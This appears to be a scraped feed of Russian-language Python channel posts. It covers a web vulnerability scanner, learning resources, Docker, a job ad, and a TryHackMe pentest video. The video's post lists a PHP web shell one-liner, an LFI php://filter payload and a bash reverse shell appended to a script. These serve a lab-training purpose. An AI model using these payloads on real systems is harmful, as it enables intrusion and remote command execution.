Sitadel — сканер безопасности веб-приложений написанный на Python.

Полезный и простой в использовании инструмент сталкера.

Возможности:
🌵 Собирает информацию о используемых фреймворках, cms, os, языках, серверах и др.вещи на сайте
🌵 Брутфорс
🌵 Поддерживает разные инъекции:
🌵 HTML Injection
🌵 SQL Injection
🌵 LDAP Injection
🌵 XPath Injection
🌵 Cross Site Scripting (XSS)
🌵 Remote File Inclusion (RFI)
🌵 PHP Code Injection
🌵 Полный список возможностей на GitHub

Установка:

$ git clone https://github.com/shenril/Sitadel.git
$ cd Sitadel
$ pip3 install .
$ python sitadel.py --help

⚙️ GitHub/Инструкция

#python #soft #redteam #cybersec #pentest

#job #vacancy

⚡️ Какие книги и ресурсы помогут вам изучить Python и фреймворк Django

В видео выделил те книги и ресурсы, которые были для меня максимально полезны. Конечно есть книги по сетям, алгоритмам, базам данных, git, docker и другим технологиям.

Если вам интересен большой обзор по материалам, пожалуйста поддержите видео, лайком, просмотром и комментарием. Большое спасибо!

https://youtu.be/c1kyiHuprws

#youtube

💾 Docker: размещение и запуск Python сценария на русском

Процесс размещения скрипта Python в контейнере Docker:

🌵 Создание Dockerfile
🌵 Создание образа из Dockerfile
🌵 Запуск образа Docker

#doc #python #docker

💾 Методы словарей в Python с примерами

#cheatsheet #python

🔥 Как получить информацию о стране с помощью Python

Countryinfo — полезный модуль, с помощью которого вы можете получать подробную информацию о стране, включая площадь, валюту, столицу, регионы, популяцию, часовой пояс и много чего интересного.

⚙️ GitHub/Инструкция

#python #github #soft #tipsandtricks

💾 Как составить качественное резюме для поиска работы в иностранных компаниях. Краткое руководство.

👍

#job #vacancy

Хороших и продуктивных выходных сталкеры 😀

☠️ Как стать хакером?
⚡️ Большая практика по хакингу и пентесту для новичков
🔥 Ломаем сайт, раскучиваем LFI уязвимость, RCE и отравление логов на сервере
🌵 PHP и BASH Reverse shell
🕳 Что такое PHP wrapper и как с их помощью проникать на сайт

Если интересна тема пентеста и хакинга на практике, поддержите видео лайком и комментарием на YouTube. Спасибо за поддержку! 💪

https://youtu.be/HRUf_OHDuc8

#youtube #pentest #redteam

✍️ Софт и команды из видео

🖥 Большой выбор бесплатных машин
https://tryhackme.com/

🖥 Машина из видео
https://tryhackme.com/room/watcher

🔎 Nmap под разные ОС
https://nmap.org/download.html

🗂 Перебор директорий - dirsearch
https://github.com/maurosoria/dirsearch

☠️ pwncat
https://github.com/calebstewart/pwncat

⌨️ Rustscan

$ rustscan -a ipaddr

⌨️ php wrapper

php://filter/convert.base64-encode/resource=index

⌨️ php shell

<?php system($_GET['cmd'])?>

⌨️ sh reverse shell

echo "/bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'" >> backup.sh

#pentest #redteam #youtube

Junior Python Backend Developer
до 60 000 руб. на руки

Требуемый опыт работы: не требуется
Полная занятость, удаленная работа

UpTrader – продуктовая FinTech компания, мы создаём экосистему для брокерских компаний: CRM, плагины под торговую платформу и систему копирования сделок.

Кого мы ищем:
Junior Backend разработчика, готового работать в команде.

Что нужно будет делать:
Поддерживать и дополнять функционал CRM

Что ждём от кандидата:
🌵 Уверенное знание python;
🌵 Уверенное знание django и DRF;
🌵 Опыт работы с git;
🌵 Опыт работы с PostgreSQL и умение писать SQL-запросы;
🌵 Английский на уровне чтения тех. документации;
🌵 Готовность выполнить техническое задание.

https://hh.ru/vacancy/77236116

#job #vacancy